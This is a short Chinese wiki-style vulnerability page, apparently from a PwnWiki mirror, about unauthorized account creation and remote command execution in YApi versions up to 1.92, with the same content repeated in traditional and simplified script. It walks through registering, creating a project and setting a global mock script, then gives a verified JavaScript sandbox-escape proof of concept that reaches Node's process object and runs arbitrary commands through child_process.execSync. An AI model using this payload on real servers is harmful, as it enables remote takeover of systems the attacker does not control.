YApi_未授權用戶創建&Mock遠程命令執行漏洞_zh-cn

# YApi 未授權用戶創建&Mock遠程命令執行漏洞/zh-cn


{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| ![](/static/pwnwiki/img/Check.png)
| align=”center” |”’该漏洞已通过验证”’
——
本页面的EXP/POC/Payload经测试可用,漏洞已经成功复现。
|}

==影响版本==
<=V1.92 All ==漏洞复现== 登录注册后,创建一个项目 ![](/static/pwnwiki/img/124460388-eaa46100-ddc1-11eb-80c4-2bddb97df8e1.png )
然後選擇設置全局的mock腳本,設置命令為遠程訪問我的服務器地址。

![](/static/pwnwiki/img/124460511-090a5c80-ddc2-11eb-92f6-46c9b3b498bb.png )

添加接口,訪問接口的mock地址

![](/static/pwnwiki/img/124460629-2dfecf80-ddc2-11eb-98c3-b96f7174d8f1.png )

服務器可以看到如下響應

![](/static/pwnwiki/img/124460757-5686c980-ddc2-11eb-87df-09e0f9ac08af.png )

==POC==

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()
==參考==

https://github.com/YMFE/yapi/issues/2233


{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| ![](/static/pwnwiki/img/Check.png)
| align=”center” |”’该漏洞已通过验证”’
——
本页面的EXP/POC/Payload经测试可用,漏洞已经成功复现。
|}

==影响版本==
<=V1.92 All ==漏洞复现== 登录注册后,创建一个项目 ![](/static/pwnwiki/img/124460388-eaa46100-ddc1-11eb-80c4-2bddb97df8e1.png ) 然后选择设置全局的mock脚本,设置命令为远程访问我的服务器地址。 ![](/static/pwnwiki/img/124460511-090a5c80-ddc2-11eb-92f6-46c9b3b498bb.png ) 添加接口,访问接口的mock地址 ![](/static/pwnwiki/img/124460629-2dfecf80-ddc2-11eb-98c3-b96f7174d8f1.png ) 服务器可以看到如下响应 ![](/static/pwnwiki/img/124460757-5686c980-ddc2-11eb-87df-09e0f9ac08af.png ) ==POC==
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockjson = process.mainModule.require(“child_process”).execSync(“command”).toString()

==参考==
https://github.com/YMFE/yapi/issues/2233

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容